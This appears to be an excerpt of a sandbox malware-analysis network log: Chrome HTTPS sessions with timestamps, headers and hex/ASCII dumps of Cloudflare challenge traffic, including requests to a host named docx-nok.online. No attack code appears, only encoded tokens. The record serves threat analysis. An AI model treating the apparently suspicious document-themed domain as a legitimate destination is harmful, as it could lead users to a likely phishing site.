44az9D9w+PsCMkO4AgOEgsEFBYPCAwaEwwUHhcRECIbFQMhFvH3BeYL+S0PHwIiLhYp8yYzMi4xOBoZEw8SEAwgJSEAMRoYFAsLLkJISEETThRFJCslI1ouKE9eNTJdNDBFGUIhRmpLSkJwWShpQ0FSZDVwOXlzbFFSc1Npe1V4QTx+RVNqhnxuholgZ1BrZF9rX3CIZImacFWZb6KBpI2Bd3OBYX+DnomcjJiisqxug62TioaKebmJurW+wa
2024-04-19 15:01:46 UTC	344	IN	Data Raw: 31 35 31 0d 0a 55 71 2f 6b 49 53 4f 43 63 43 46 6a 51 48 53 6a 77 6b 54 30 70 50 4f 79 6b 4c 56 69 63 50 54 46 63 6a 53 6c 6c 51 4e 30 42 62 57 47 45 30 58 46 56 6c 58 6c 68 47 5a 46 6b 31 4f 30 67 71 54 6a 31 77 55 6d 4a 46 5a 58 46 51 4d 47 70 4a 57 55 35 4c 56 6a 5a 65 58 47 42 30 56 56 4e 50 65 57 68 6b 52 46 35 64 57 31 68 65 55 55 78 69 61 49 68 7a 6a 6f 36 4a 61 33 52 6b 69 35 74 71 58 31 4f 64 6d 35 57 68 64 6d 57 67 70 6f 4b 6e 6c 6d 4e 2f 71 61 71 70 67 62 4b 47 69 36 61 78 68 49 2b 75 73 37 43 74 76 62 47 53 6d 33 53 2f 6e 73 4f 30 6e 4c 57 46 70 36 69 46 7a 4d 43 73 69 61 4b 79 73 5a 36 64 78 36 2b 6b 71 64 4f 55 6c 64 57 75 33 71 72 42 32 70 57 2f 6f 4c 69 38 6e 39 4f 6e 79 72 66 42 36 73 48 5a 37 2b 44 49 34 62 48 54 31 4c 48 34 37 4e 69 31 Data Ascii: 151Uq/kISOCcCFjQHSjwkT0pPOykLVicPTFcjSllQN0BbWGE0XFVlXlhGZFk1O0gqTj1wUmJFZXFQMGpJWU5LVjZeXGB0VVNPeWhkRF5dW1heUUxiaIhzjo6Ja3Rki5tqX1Odm5WhdmWgpoKnlmN/qaqpgbKGi6axhI+us7CtvbGSm3S/nsO0nLWFp6iFzMCsiaKysZ6dx6+kqdOUldWu3qrB2pW/oLi8n9OnyrfB6sHZ7+DI4bHT1LH47Ni1
2024-04-19 15:01:46 UTC	346	IN	Data Raw: 31 35 33 0d 0a 32 39 6a 30 36 4f 44 4d 62 48 54 63 53 41 6a 51 68 4a 55 77 71 52 78 34 73 47 6a 34 6d 52 44 49 79 4a 53 4d 61 55 43 51 37 4a 30 35 4b 4c 54 52 58 58 46 59 69 4f 54 73 7a 50 57 64 74 4b 47 67 68 4f 7a 6c 67 5a 30 5a 75 4e 57 5a 73 4e 54 68 31 4e 46 78 32 53 44 68 66 54 7a 70 41 57 6a 35 77 68 7a 39 6d 61 32 78 4c 62 6c 78 68 53 57 6c 77 67 59 36 53 68 35 43 42 64 4a 53 51 6c 58 36 67 6d 49 70 65 58 46 32 68 6d 35 56 6a 6c 59 6d 64 61 70 69 6e 70 71 53 44 6d 71 74 2f 66 34 4b 67 72 61 53 6a 6d 4b 75 79 65 4c 69 67 72 4a 32 36 66 71 35 34 78 63 6d 48 6e 72 65 47 75 37 62 51 6e 34 65 73 6e 5a 2b 64 72 39 61 33 6b 72 43 6f 7a 4d 61 57 31 74 69 2f 75 38 54 4e 77 61 57 65 75 2b 69 35 74 4c 57 6e 37 65 4c 45 78 37 72 6e 78 75 76 4c 79 63 54 4c 31 Data Ascii: 15329j06ODMbHTcSAjQhJUwqRx4sGj4mRDIyJSMaUCQ7J05KLTRXXFYiOTszPWdtKGghOzlgZ0ZuNWZsNTh1NFx2SDhfTzpAWj5whz9ma2xLblxhSWlwgY6Sh5CBdJSQlX6gmIpeXF2hm5VjlYmdapinpqSDmqt/f4KgraSjmKuyeLigrJ26fq54xcmHnreGu7bQn4esnZ+dr9a3krCozMaW1ti/u8TNwaWeu+i5tLWn7eLEx7rnxuvLycTL1
2024-04-19 15:01:46 UTC	259	IN	Data Raw: 66 64 0d 0a 30 67 43 54 34 35 4a 41 31 43 4a 79 67 52 52 77 59 73 46 55 74 46 47 53 41 5a 51 69 46 54 45 43 30 76 49 30 64 4b 4b 55 70 59 57 43 73 57 4c 6c 51 78 46 6c 68 59 4e 53 68 63 58 44 6f 33 59 47 41 2b 4f 6d 4e 43 59 54 35 46 58 30 52 53 55 6c 55 31 4e 46 6c 79 63 58 42 4b 62 30 49 38 50 49 46 76 65 46 4a 69 57 30 52 45 69 58 2b 41 57 6d 70 72 54 45 79 52 61 59 68 69 63 6e 74 55 56 4a 6c 35 6b 47 70 36 6b 56 78 63 6f 57 53 59 63 6f 4b 68 5a 47 53 71 65 61 42 36 69 72 46 73 62 4c 47 72 71 49 4b 54 67 33 52 30 75 4b 65 77 69 70 75 54 66 48 7a 41 74 37 69 53 6f 36 54 4a 75 4c 33 4f 75 72 4c 43 6e 37 79 74 79 37 47 70 79 71 75 57 6c 71 2b 33 31 4a 4c 63 6e 2b 50 4d 30 74 71 35 77 65 4c 61 74 71 50 4f 79 4d 44 50 78 38 33 78 72 73 48 48 77 72 66 32 36 Data Ascii: fd0gCT45JA1CJygRRwYsFUtFGSAZQiFTEC0vI0dKKUpYWCsWLlQxFlhYNShcXDo3YGA+OmNCYT5FX0RSUlU1NFlycXBKb0I8PIFveFJiW0REiX+AWmprTEyRaYhicntUVJl5kGp6kVxcoWSYcoKhZGSqeaB6irFsbLGrqIKTg3R0uKewipuTfHzAt7iSo6TJuL3OurLCn7yty7GpyquWlq+31JLcn+PM0tq5weLatqPOyMDPx83xrsHHwrf26

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.18	49718	104.17.2.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:46 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:47 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 15:01:47 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 1bz5yCGHNvYa2CYzwEpmzw==$gQFr5eLyh+DFtYwN7lkvuw== Server: cloudflare CF-RAY: 876dc598b80944d8-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:47 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.18	49720	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:49 UTC	918	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32659 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 86e27d6bbc5acfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:49 UTC	16384	OUT	Data Raw: 76 5f 38 37 36 64 63 35 37 65 30 66 66 38 37 62 63 66 3d 36 55 71 72 6f 4f 54 79 35 64 6d 59 71 4f 57 55 4c 39 25 32 62 69 68 45 38 39 54 74 38 59 38 6d 24 38 59 35 54 59 38 72 72 64 53 4f 46 38 24 4f 38 2b 45 72 54 6b 38 77 72 62 35 2b 4c 38 6a 72 42 53 6d 4f 49 69 38 69 55 69 45 38 74 53 45 38 6c 4a 38 54 62 6e 42 6b 4f 62 42 54 32 38 2d 2d 55 38 50 72 2b 33 76 41 69 38 54 5a 78 6f 59 2b 69 41 54 36 2d 43 56 6b 69 38 57 4d 45 4f 59 38 49 53 4f 79 68 68 38 38 6d 35 38 4a 6a 38 38 4a 4c 7a 71 38 48 72 38 52 51 64 71 38 33 61 64 6b 69 4f 6a 42 55 45 38 51 35 6a 62 6a 69 45 38 6b 69 59 4c 54 51 69 4c 4d 45 50 53 41 6f 43 4b 6e 38 54 46 4d 38 38 55 77 72 70 2b 62 36 72 54 51 56 68 71 53 59 6d 4e 48 54 68 44 51 48 5a 68 53 5a 58 68 36 70 4a 58 48 69 38 4c 33 Data Ascii: v_876dc57e0ff87bcf=6UqroOTy5dmYqOWUL9%2bihE89Tt8Y8m$8Y5TY8rrdSOF8$O8+ErTk8wrb5+L8jrBSmOIi8iUiE8tSE8lJ8TbnBkObBT28--U8Pr+3vAi8TZxoY+iAT6-CVki8WMEOY8ISOyhh88m58Jj88JLzq8Hr8RQdq83adkiOjBUE8Q5jbjiE8kiYLTQiLMEPSAoCKn8TFM88Uwrp+b6rTQVhqSYmNHThDQHZhSZXh6pJXHi8L3
2024-04-19 15:01:49 UTC	16275	OUT	Data Raw: 39 54 73 4d 58 50 71 38 6c 65 54 6a 2b 38 4f 24 57 63 73 43 45 4a 72 42 38 66 38 4f 45 38 76 38 2b 38 4c 53 38 44 72 32 38 4f 75 54 2b 4d 74 35 4c 35 54 79 38 32 38 2b 35 54 4c 38 44 72 42 55 54 49 38 2b 38 4f 6d 38 51 38 42 72 38 35 54 67 38 67 45 4f 35 54 58 42 69 45 62 73 69 53 38 44 71 2b 72 54 56 35 4f 45 4c 41 38 48 38 54 45 4f 68 54 4c 38 36 45 42 76 38 30 38 64 38 47 76 54 79 38 6d 57 4c 69 54 70 38 4f 53 4f 39 38 45 6d 44 71 2b 6d 54 7a 38 69 59 42 6e 38 76 71 42 2d 75 45 5a 66 72 7a 72 47 4d 38 46 38 70 47 4e 55 38 64 38 47 73 34 76 54 6d 38 6a 38 54 45 54 30 38 2d 38 54 55 38 53 38 62 72 42 59 7a 39 38 2d 79 54 6d 54 79 38 69 59 62 72 2b 51 38 30 72 4c 55 38 4a 45 42 38 42 42 38 4f 38 46 45 62 41 54 48 38 2b 38 54 68 54 34 38 4a 45 62 76 38 49 Data Ascii: 9TsMXPq8leTj+8O$WcsCEJrB8f8OE8v8+8LS8Dr28OuT+Mt5L5Ty828+5TL8DrBUTI8+8Om8Q8Br85Tg8gEO5TXBiEbsiS8Dq+rTV5OELA8H8TEOhTL86EBv808d8GvTy8mWLiTp8OSO98EmDq+mTz8iYBn8vqB-uEZfrzrGM8F8pGNU8d8Gs4vTm8j8TET08-8TU8S8brBYz98-yTmTy8iYbr+Q80rLU8JEB8BB8O8FEbATH8+8ThT48JEbv8I
2024-04-19 15:01:49 UTC	1158	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: ZHGlmszjzqOG8/wLW4DpWFg8RtqjDCX7pTqt1adFVU+QjqlTxcvciE0GNCtqmEG1eNmfJtG4LIXS0h6V27iejLTVbuHhBXf7OugkGtvTYjNMz/L2kX5OyxhenXom7z+D$/i0V293mAxBvuc/dj3Lj0g== cf-chl-out-s: +gaP6iHoYJmcImS06CPwlVF01hTgqWfLWCGnkS68UwshKGeCd5Z0uzEmK6qvJ5jFTlUuYVNpkgbnHDL8Ntb96AHl5etGgBZjAHaMPkEYuCBOFl0ifo/XreOPrTa96FbQF5eHbvbDc/Cq+frT/4l2ZrVkTf581pTBnzMSVhaxmGiPk2BDNV4JioXEP9lDpRt3SEzBDUqXszIfWkHsNucUaf5wGhr67xHMu+souPfYQPuc4UDaelXLdLXZ2s23Y8IYJxMebT740+CzWgqJlYLK2jIf4xN20FVdR/ycFd9K3x6TzFGJ5I8kzjXNzSihmDGhvVBC4kxfO8bssZlVA+MVGoB75qeFtKZfJrG3vMXRtY9/q6Pp9qvLT1V9gD9GQpW2p7RDf9BP+D39FTLdhzgv2yzKKG1p20aVvGR13kK8GiWFypTiik1R7YayaPYxcIMnsWG2eUpdtNnPNgLVnU+4Gg/Ruezl0tfmkvzEy8mqhx6lpTgbseZIyQkGx4QCF5hE/4j8J6bCTfFqvnhE8QsoFBLaiSvlSXSdvSUG2KtElv+IF08nHCgwVQxlkQI+vrZ5btG1ELQxs6MXmnCLZ7vgAq8PdoeBVbd5lgT1MDu7FKsdS/1d7kT/sw4yfIbrhcxrb0aX3uj8Z13jz0y35qIMdiRWeqxeWDzLu6Kx7dhHNugAfCJLzkPaPWt2Ku20WxgJ$yJeuQESvCihbyxwSB65t6w== vary: accept-encoding Server: cloudflare CF-RAY: 876dc5a84a2e7bd8-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:49 UTC	211	IN	Data Raw: 32 63 64 0d 0a 6d 4a 65 55 67 71 43 56 70 63 71 68 30 4a 33 4d 6f 4b 66 54 30 36 7a 46 73 72 65 38 7a 38 6a 4f 78 35 69 75 6f 62 62 56 78 4f 58 43 36 62 71 31 7a 4c 33 4f 72 63 4c 4c 30 4b 6a 4b 77 75 54 6e 7a 73 62 6f 39 65 50 58 2f 50 6a 63 33 63 37 42 31 73 2f 6b 43 4f 62 41 77 4d 54 69 78 4d 6e 2b 41 39 38 51 44 4f 67 43 30 66 49 42 44 65 59 4e 2b 78 44 71 39 41 41 41 49 42 6e 34 45 76 49 41 45 66 66 79 47 78 54 6d 4c 43 51 46 48 67 73 54 48 51 49 48 46 69 41 48 43 2f 6b 4e 4c 68 6f 48 48 67 38 54 48 42 67 6a 41 6a 38 6f 50 55 6b 6c 4b 43 78 4d 51 69 55 2b 45 6a 41 39 49 6b 55 77 4d 6b 30 72 4f 7a 6f 72 50 31 46 41 55 53 Data Ascii: 2cdmJeUgqCVpcqh0J3MoKfT06zFsre8z8jOx5iuobbVxOXC6bq1zL3OrcLL0KjKwuTnzsbo9ePX/Pjc3c7B1s/kCObAwMTixMn+A98QDOgC0fIBDeYN+xDq9AAAIBn4EvIAEffyGxTmLCQFHgsTHQIHFiAHC/kNLhoHHg8THBgjAj8oPUklKCxMQiU+EjA9IkUwMk0rOzorP1FAUS
2024-04-19 15:01:49 UTC	513	IN	Data Raw: 70 56 55 54 41 34 49 7a 35 64 49 6d 4a 4e 4b 47 64 4c 51 55 35 48 52 30 31 46 4e 54 4a 49 51 31 4d 36 55 48 56 38 62 31 56 75 56 31 56 63 64 30 57 49 58 58 74 67 64 31 78 58 59 31 64 6f 57 34 39 38 66 49 75 48 59 32 6d 4a 67 6e 43 5a 6a 47 69 52 56 6e 52 79 66 56 39 65 63 48 75 6f 58 36 61 57 6f 59 53 44 72 33 36 51 71 6e 32 30 72 5a 53 6a 63 4a 4b 4b 74 58 70 7a 6d 4c 69 67 6d 6e 69 65 74 70 57 62 73 4d 57 62 69 4d 58 43 6e 73 36 36 76 71 43 67 7a 71 37 49 79 59 2b 69 6d 63 72 4a 78 5a 4f 34 32 4d 43 36 6d 4c 37 57 74 62 76 51 35 62 75 6f 35 4f 43 70 75 4d 76 6b 36 4c 76 48 30 74 54 53 79 72 48 4c 78 63 36 31 72 2f 33 32 38 2f 44 78 7a 4d 33 37 35 64 76 32 30 74 6a 6c 78 2b 76 61 44 75 38 41 34 67 4d 50 41 52 49 41 2b 41 6f 52 44 2b 73 52 2b 76 6e 7a 37 Data Ascii: pVUTA4Iz5dImJNKGdLQU5HR01FNTJIQ1M6UHV8b1VuV1Vcd0WIXXtgd1xXY1doW498fIuHY2mJgnCZjGiRVnRyfV9ecHuoX6aWoYSDr36Qqn20rZSjcJKKtXpzmLigmnietpWbsMWbiMXCns66vqCgzq7IyY+imcrJxZO42MC6mL7WtbvQ5buo5OCpuMvk6LvH0tTSyrHLxc61r/328/DxzM375dv20tjlx+vaDu8A4gMPARIA+AoRD+sR+vnz7
2024-04-19 15:01:49 UTC	1369	IN	Data Raw: 61 65 33 0d 0a 64 6a 51 6f 62 43 7a 31 37 6a 56 70 75 57 32 36 64 6a 64 71 75 4c 74 77 4b 37 6d 31 71 72 48 39 37 72 78 72 39 58 74 36 38 2f 5a 2f 51 4f 2f 30 4c 37 77 30 51 6a 39 2b 73 62 37 7a 76 7a 44 36 73 72 6e 7a 77 4c 33 44 39 48 79 36 74 54 73 47 74 30 43 38 65 76 64 41 2f 6e 39 33 68 50 32 42 41 7a 30 2b 69 77 69 4c 4f 6f 4d 2b 77 6a 75 44 78 41 49 43 51 4d 70 2b 41 34 76 43 2f 76 33 4d 78 67 54 41 44 64 46 4b 68 30 6c 51 51 59 63 4f 6b 6f 78 43 69 74 43 49 79 46 45 44 79 55 6c 45 54 77 78 4c 7a 63 76 51 68 30 73 48 6b 34 75 5a 54 41 34 4e 45 42 70 56 30 45 6c 59 6a 38 73 54 57 6b 30 52 30 35 74 59 54 42 36 52 48 6f 34 56 7a 64 2f 54 57 36 43 58 46 42 50 59 48 64 43 5a 45 64 59 51 47 69 4b 62 31 74 4a 69 6d 64 51 68 59 31 56 61 5a 69 5a 69 31 52 Data Ascii: ae3djQobCz17jVpuW26djdquLtwK7m1qrH97rxr9Xt68/Z/QO/0L7w0Qj9+sb7zvzD6srnzwL3D9Hy6tTsGt0C8evdA/n93hP2BAz0+iwiLOoM+wjuDxAICQMp+A4vC/v3MxgTADdFKh0lQQYcOkoxCitCIyFEDyUlETwxLzcvQh0sHk4uZTA4NEBpV0ElYj8sTWk0R05tYTB6RHo4Vzd/TW6CXFBPYHdCZEdYQGiKb1tJimdQhY1VaZiZi1R
2024-04-19 15:01:49 UTC	1369	IN	Data Raw: 71 61 31 76 39 66 62 70 73 53 39 78 63 6a 6a 76 65 50 68 73 4d 7a 43 78 2f 66 4e 2b 2b 32 31 31 67 44 51 76 64 66 4e 75 72 33 62 34 66 6b 4a 33 77 7a 6a 44 64 7a 61 35 64 7a 6d 45 39 73 48 41 2b 48 6e 38 42 44 75 35 52 37 77 35 39 37 59 31 2f 41 54 49 41 34 44 43 51 59 54 48 41 55 70 44 67 30 4a 49 51 34 50 37 79 51 47 41 52 45 46 45 68 51 37 43 44 41 4b 4b 77 41 54 44 69 4e 45 4a 6a 6f 64 4f 54 49 44 47 51 77 65 47 69 38 44 4f 69 46 54 54 54 4d 31 53 30 6b 32 4f 53 77 78 4e 68 70 4c 4e 45 38 74 50 42 31 64 5a 44 70 47 59 69 52 6a 5a 55 74 6d 54 57 4e 4e 56 43 31 56 61 46 56 52 54 47 78 5a 4e 7a 56 61 57 6d 39 2f 57 59 52 45 59 32 57 49 59 58 35 38 52 47 31 6d 61 47 70 68 63 49 53 45 67 33 4a 71 69 58 6c 6c 6a 5a 4a 55 6d 70 4f 52 6c 6c 4e 2f 68 49 4a 2f Data Ascii: qa1v9fbpsS9xcjjvePhsMzCx/fN++211gDQvdfNur3b4fkJ3wzjDdza5dzmE9sHA+Hn8BDu5R7w597Y1/ATIA4DCQYTHAUpDg0JIQ4P7yQGAREFEhQ7CDAKKwATDiNEJjodOTIDGQweGi8DOiFTTTM1S0k2OSwxNhpLNE8tPB1dZDpGYiRjZUtmTWNNVC1VaFVRTGxZNzVaWm9/WYREY2WIYX58RG1maGphcISEg3JqiXlljZJUmpORllN/hIJ/
2024-04-19 15:01:49 UTC	56	IN	Data Raw: 71 74 74 73 57 36 77 64 4f 77 72 66 50 52 72 74 62 52 35 4e 48 61 31 65 6a 52 31 39 53 39 30 38 33 30 39 4f 6a 62 79 65 67 41 36 75 59 44 43 2b 50 6f 41 64 66 59 0d 0a Data Ascii: qttsW6wdOwrfPRrtbR5NHa1ejR19S908309OjbyegA6uYDC+PoAdfY
2024-04-19 15:01:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.18	49721	104.17.2.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:49 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:50 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 15:01:50 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: l+/XY5fWTEdKbqrS5fwoxw==$iUgEZVd/6+dL7Vx+geGuuQ== Server: cloudflare CF-RAY: 876dc5ac184853d8-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:50 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.18	49722	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:49 UTC	1057	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1 Host: docx-nok.online Connection: keep-alive Content-Length: 3383 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: b9a92c2ac5a9fbe sec-ch-ua-platform: "Windows" Accept: / Origin: https://docx-nok.online Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:49 UTC	3383	OUT	Data Raw: 76 5f 38 37 36 64 63 35 37 33 36 63 38 36 37 62 39 32 3d 4c 69 61 71 78 33 31 44 79 59 72 41 61 33 24 69 62 75 49 42 48 4e 38 55 49 58 76 6a 76 43 71 36 4e 6e 61 76 59 76 78 71 76 69 33 70 76 65 33 76 49 4e 71 31 74 58 76 30 71 42 72 31 62 76 4b 31 71 37 69 6e 76 50 79 73 76 31 67 31 76 49 75 76 46 71 31 6d 52 38 74 33 76 4e 31 6d 41 41 34 73 44 76 71 79 4e 31 4d 64 24 71 38 75 76 6f 36 6e 33 58 76 61 30 42 76 4b 67 62 2d 55 31 5a 76 62 69 24 76 6f 32 79 31 70 76 45 30 72 66 57 51 76 31 24 58 46 6a 61 76 49 4e 31 56 25 32 62 6e 76 47 76 76 72 36 67 38 32 24 76 6d 72 6e 42 46 38 50 57 32 64 76 4e 6e 4a 64 74 76 31 2d 76 49 72 6e 6f 4d 72 69 30 48 55 76 4b 74 69 24 6a 33 72 65 76 33 63 70 76 6f 75 76 4b 71 6e 72 71 49 79 73 42 34 61 72 71 6f 42 76 33 30 4c Data Ascii: v_876dc5736c867b92=Liaqx31DyYrAa3$ibuIBHN8UIXvjvCq6NnavYvxqvi3pve3vINq1tXv0qBr1bvK1q7invPysv1g1vIuvFq1mR8t3vN1mAA4sDvqyN1Md$q8uvo6n3Xva0BvKgb-U1Zvbi$vo2y1pvE0rfWQv1$XFjavIN1V%2bnvGvvr6g82$vmrnBF8PW2dvNnJdtv1-vIrnoMri0HUvKti$j3rev3cpvouvKqnrqIysB4arqoBv30L
2024-04-19 15:01:50 UTC	1329	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: cf_chl_rc_m=;Expires=Thu, 18 Apr 2024 15:01:50 GMT;SameSite=Strict cf-chl-out: rtFqULd+Oi08BcWj5b25JzWljOIrWaVmQb0mIH36RmAd5c70vkmAo+ifhvEkMgGAJA/y7/ba12B856swWhjS7w==$KLMO0YxESqHnkh5exVOd9A== cf-chl-out-s: aRS1ldL8Xn0Ve70ThL3ESQXeL1x9IROVeX6GpWC1kenlGdK14nzS+/u2dRarTPaVcU4+YnwmqcqJi5eiwI0oX7WdPyOh2OMRew2m+tCJPePA9ApaLTmzrrXvJEdZI4beFmCFUcET4ZSx+fkHRA9ASKwvGPyQBlzXhHfMVo7rhbH/rgesUlV5KXLaOfElxpyNxsyuEhKzGY1oCnOCRkKJBNXTJkaICI+ZtZT4ssp2LYgN4dBc/aBdf1yzrJFNB7vYTL1/dSR2bvThzubbuGefdC6aTF2LJqb3xfKiJvTonA6DCeNQ+ktskGecd6xKbP3/2385zaC8z0f3kM/i6rLgD0GePrcpQlGHH8FOHgDoZfy6lYbWiEIoDfxsgimYNm00dbMuCN+9/qvGL/s2H3de7Rl+Dffgyj/BzZ+tyzbPm0eh5IFWs/0fwuyOZCNXMhNgXK9ghY6qvGAVPbMk0x1Z7KVebX8gGxJNYiNL8Hp5rdTd0Gh+ECeCwePM7ouq+WHq$89/v9kOuEkMXrNTkI3dIXw== vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=643wtbROhQ8CYlUGu%2FztCWFhrUwvlsEMi7AREUsp22E%2FEbxGpAzIg1C2o1JsF4MNV1wKW3GK3DuXDm8khLNjCMcEYBlu1aXCyZQfCERX4p7NUhpvnIe0eOanCD2gF9xA3t0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5ab5ca16757-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:50 UTC	40	IN	Data Raw: 33 31 62 0d 0a 73 4a 32 37 72 5a 4b 75 6a 6e 37 42 68 70 61 45 67 5a 6d 32 6e 59 44 49 79 73 65 66 77 37 43 53 70 37 47 Data Ascii: 31bsJ27rZKujn7BhpaEgZm2nYDIysefw7CSp7G
2024-04-19 15:01:50 UTC	762	IN	Data Raw: 30 7a 71 72 4b 78 74 47 76 75 4d 43 30 34 4d 36 30 74 39 47 32 73 65 4c 56 75 72 58 6b 7a 38 37 4a 34 39 4c 51 72 66 61 74 38 63 75 7a 32 64 6a 56 36 2b 66 79 34 65 33 65 76 4c 37 51 32 41 6a 5a 35 64 4c 54 77 72 2f 57 2f 63 72 44 7a 42 48 7a 78 39 59 56 31 68 76 6c 39 66 45 59 2f 67 38 61 36 39 6b 50 38 74 63 68 35 65 45 59 4a 78 55 6c 35 53 77 4f 43 43 33 74 4b 7a 51 4a 44 79 6b 57 45 42 49 34 46 44 50 35 4e 7a 77 58 48 54 63 52 39 77 4c 35 50 6a 6f 2f 54 53 49 59 4a 45 45 50 51 77 34 47 4a 30 41 74 53 53 34 7a 4e 6b 34 57 58 56 63 59 47 55 74 43 4d 44 30 65 56 30 68 62 5a 69 63 32 50 6a 74 61 54 31 46 7a 62 44 34 79 5a 54 56 6b 4d 30 78 74 55 58 70 70 62 6a 39 72 63 46 39 6b 55 31 42 65 52 58 6c 68 61 47 56 57 59 58 36 4d 58 57 75 4f 61 34 64 53 63 6f Data Ascii: 0zqrKxtGvuMC04M60t9G2seLVurXkz87J49LQrfat8cuz2djV6+fy4e3evL7Q2AjZ5dLTwr/W/crDzBHzx9YV1hvl9fEY/g8a69kP8tch5eEYJxUl5SwOCC3tKzQJDykWEBI4FDP5NzwXHTcR9wL5Pjo/TSIYJEEPQw4GJ0AtSS4zNk4WXVcYGUtCMD0eV0hbZic2PjtaT1FzbD4yZTVkM0xtUXppbj9rcF9kU1BeRXlhaGVWYX6MXWuOa4dSco
